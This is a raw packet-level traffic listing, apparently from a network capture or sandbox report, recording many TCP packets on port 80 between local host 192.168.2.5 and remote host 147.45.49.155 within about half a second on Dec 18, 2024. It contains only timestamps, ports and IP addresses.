Dec 18, 2024 09:13:06.636245966 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.637033939 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.637083054 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.637129068 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.638051987 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.638104916 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.638159990 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.638976097 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.639029980 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.639055967 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.639800072 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.639848948 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.714339972 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.714448929 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.714500904 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.714801073 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.714900017 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.714955091 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.715739012 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.715841055 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.716022968 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.716631889 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.716759920 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.716814995 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.717582941 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.717706919 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.717760086 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.718595028 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.718689919 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.718789101 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.719456911 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.719510078 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.719571114 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.754888058 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.754986048 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.755078077 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.755178928 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.755243063 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.755299091 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.756100893 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.756175041 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.756220102 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.756792068 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.756901026 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.756948948 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.757721901 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.757822990 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.758637905 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.758692980 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.758707047 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.759287119 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.759577990 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.759668112 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.760071039 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.760468960 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.795391083 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.795418024 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.795492887 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.795566082 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.795655012 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.795701027 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.799240112 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.799259901 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.799320936 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.799379110 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.799402952 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.799420118 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.799422979 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.799436092 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.799453020 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.799463034 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.799500942 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.800220013 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.800390959 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.800482035 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.801316977 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.801332951 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.801376104 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.802105904 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.802282095 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.802330971 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.802989006 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.803167105 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.803217888 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.804028034 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.804044008 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.804105997 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.804838896 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.804856062 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.804903030 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.805747032 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.805953026 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.806777954 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.806802034 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.806830883 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.806852102 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.807554007 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.807714939 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.807764053 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.808506012 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.808522940 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.808577061 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.809473038 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.809659958 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.809708118 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.810427904 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.810453892 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.811415911 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.811431885 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.811467886 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.811490059 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.812211037 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.812376022 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.812429905 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.813231945 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.813249111 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.813291073 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.814088106 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.814258099 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.814941883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.814995050 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.815108061 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.816067934 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.816082954 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.816097021 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.816126108 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.816765070 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.816950083 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.817007065 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.817873955 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.817890882 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.817956924 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.818677902 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.818851948 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.819668055 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.819684029 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.819721937 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.819750071 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.820487022 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.820672989 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.820729017 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.821471930 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.821661949 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.821717978 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.822380066 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.822551012 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.823338985 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.823385000 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.823509932 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.824071884 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.824273109 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.824451923 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.824492931 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.825232983 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.825417995 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.825464010 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.826178074 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.826348066 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.826718092 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.826735020 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.826762915 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.826786995 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.827440977 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.828702927 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.829509020 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.829524994 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.829559088 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.829586983 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.830337048 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.830519915 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.830575943 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.830849886 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.830864906 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.830905914 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.831691027 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.855014086 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.905540943 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.905647993 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.905735970 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.905976057 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.906109095 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.906161070 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.906913996 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.907135963 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.907882929 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.907936096 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.908030987 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.908863068 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.908906937 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.908910036 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.908955097 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.909662962 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.909790039 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.910597086 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.910646915 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.910679102 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.912072897 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.946214914 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.946242094 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.946305037 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.946660995 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.946723938 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.946773052 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.947416067 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.947484970 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.948072910 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.948256969 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.948515892 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.949193954 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.949235916 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.949381113 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.950130939 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.950176954 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.950177908 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.950217962 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.951056957 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.951159000 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.951201916 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.986326933 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.986388922 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.986548901 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.986649990 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.986713886 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.986949921 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.987602949 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.987685919 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.987761021 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.988527060 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.988797903 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.988846064 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.988919973 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.989758968 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.989885092 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.989932060 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.990724087 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.990747929 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.990789890 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.991579056 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.991637945 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.991683006 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.992506981 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.992593050 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.992636919 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.993427038 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.993531942 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.993577957 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.994333029 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.994381905 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.994469881 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.995268106 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.995326042 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.995326996 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.996193886 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.996321917 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.996367931 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.997119904 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.997225046 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.997256994 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.998034000 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.998083115 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.998219013 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.998985052 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.999028921 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.999075890 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.999896049 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.999941111 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.000003099 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.000821114 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.000863075 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.000910044 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.001754999 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.001811028 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.001888037 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.002698898 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.002744913 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.002790928 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.003614902 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.003700972 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.003746033 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.004578114 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.004635096 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.004678011 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.005443096 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.005482912 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.005542994 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.006386042 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.006432056 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.006473064 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.007308006 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.007353067 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.007356882 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.008213043 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.008347988 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.008394957 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.009149075 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.009406090 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.009449005 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.010083914 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.010124922 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.010215044 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.011003971 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.011045933 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.011085033 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.011954069 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.012012959 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.012084007 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.012834072 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.012877941 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.012917995 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.013834000 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.013883114 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.013890982 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.014719963 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.014906883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.014955044 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.015603065 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.015727043 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.015770912 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.016568899 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.016695976 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.016736984 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.017527103 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.017569065 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.017652988 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.018388033 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.018433094 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.018492937 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.019320965 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.019366026 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.019392014 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.020214081 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.020320892 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.020365000 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.021169901 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.021374941 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.021425962 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.022234917 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.022283077 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:07.096801043 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:07.096910954 CET	80	49707	147.45.49.155	192.168.2.5
